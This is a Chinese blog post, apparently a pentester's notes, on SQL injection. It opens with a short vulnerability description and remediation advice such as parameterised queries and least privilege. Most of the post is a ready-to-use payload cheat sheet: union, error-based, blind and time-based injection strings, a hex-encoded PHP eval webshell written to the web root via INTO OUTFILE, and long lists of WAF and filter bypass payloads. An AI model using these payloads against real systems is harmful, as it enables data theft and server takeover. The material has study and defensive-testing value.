SQL注入

SQL注入

漏洞描述

Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入 webshell 、执行系统命令以及绕过登录限制等。

修复建议

代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御sql 注入的最佳方法。

  1. 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。
  2. 对进入数据库的特殊字符( ' <>&*; 等)进行转义处理,或编码转换。
  3. 确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。
  4. 数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。
  5. 网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。
  6. 严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害害。
  7. 避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。

漏洞原理

  • 参数用户可控:从前端传给后端的参数内容是用户可以控制的
  • 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库执行

分类

按sqlmap里可分为:

联合查询注入

1. order by 列数
2. union select 1,2,3,group_concat(查询语句)

报错注入

floor,输出长度为64个字符

and (select 1 from (select count(*),concat((查询语句),floor (rand(0)*2))x from information_schema.tables group by x)a)  

updatexml,只有在返回格式不是xml才生效,输出长度为32个字符

and updatexml(1,concat(0x7e,(查询语句),0x7e),1)

ExtractValue,输入长度为32个字符

and extractvalue(1,concat(0x7e,(查询语句),0x7e))

堆叠注入

在语句后加;查询语句

布尔注入,先猜长度,然后再一一猜具体名

and (length(database())) = 猜测的长度
and (ascii(substr((查询语句),第几行,第几个))) = asscii码

延时注入,先猜长度,然后再一一猜具体名

and (length(查询语句)) = 猜测的长度 +and+if(1=1, sleep(5), null)+ --+
and (ascii(substr((查询语句) ,第几行,第几个))) = asscii码 +and+if(1=1, sleep(1), null)--+

MySQL写文件

union select 1,0x003c3f706870206576616c28245f504f53545b315d293b3f3e,1 into outfile "网站绝对路径" --+(如果为16进制时前后需要加值)

  1. 权限为root
  2. secure_file_priv=""(允许把数据库中的数据导出到本地)
  3. 知道网站的绝对路径

绕过

过滤空格

%20 %09 %0a %0b %0c %0d %a0 %00 /**/  /*!*/

过滤关键字、注释符

大小写,双写
使用符合闭合

过滤单引号

使用双引号或者把字符串转为十六进制

过滤union select

union distinct select
union all select
针对单个关键词绕过
sel<>ect 程序过滤<>为空 脚本处理
sele/**/ct 程序过滤/**/为空
/*!%53eLEct*/ url 编码与内联注释
se%0blect 使用空格绕过
sele%ct 使用百分号绕过
%53eLEct 编码绕过
大小写
uNIoN sELecT 1,2
union all select 1,2
union DISTINCT select 1,2
null+UNION+SELECT+1,2
/*!union*//*!select*/1,2
union/**/select/**/1,2
and(select 1)=(Select 0xA*1000)/*!uNIOn*//*!SeLECt*/ 1,user()
/*!50000union*//*!50000select*/1,2
/*!40000union*//*!40000select*/1,2
%0aunion%0aselect 1,2
%250aunion%250aselect 1,2
%09union%09select 1,2
%0caunion%0cselect 1,2
%0daunion%0dselect 1,2
%0baunion%0bselect 1,2
%0d%0aunion%0d%0aselect 1,2
--+%0d%0aunion--+%0d%0aselect--+%0d%0a1,--+%0d%0a2
/*!12345union*//*!12345select*/1,2;
/*中文*/union/*中文*/select/*中文*/1,2;
/* */union/* */select/ */1,2;
/*!union*//*!00000all*//*!00000select*/1,2

过滤逗号

select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select 3)c join(select 4)d;

过滤函数

substr = min
updatexml() = polygon()

过滤or and xor not

and 等于 &&
or  等于 ||
not 等于 !
xor 等于 |

过滤等号

like 
rlike
regexp

静态文件绕过

/1.jpg&name=vince+&submit=1
/1.jpg=/1.jpg&name=vince+&submit=1
/1.css=/1.css&name=vince+&submit=1

pipline

multipart/form-data

过滤order by

into @a,@b,@c,@d;

编码绕过

url
unicode
posted @ 2023-03-15 14:31  whoam1  阅读(28)  评论(0)    收藏  举报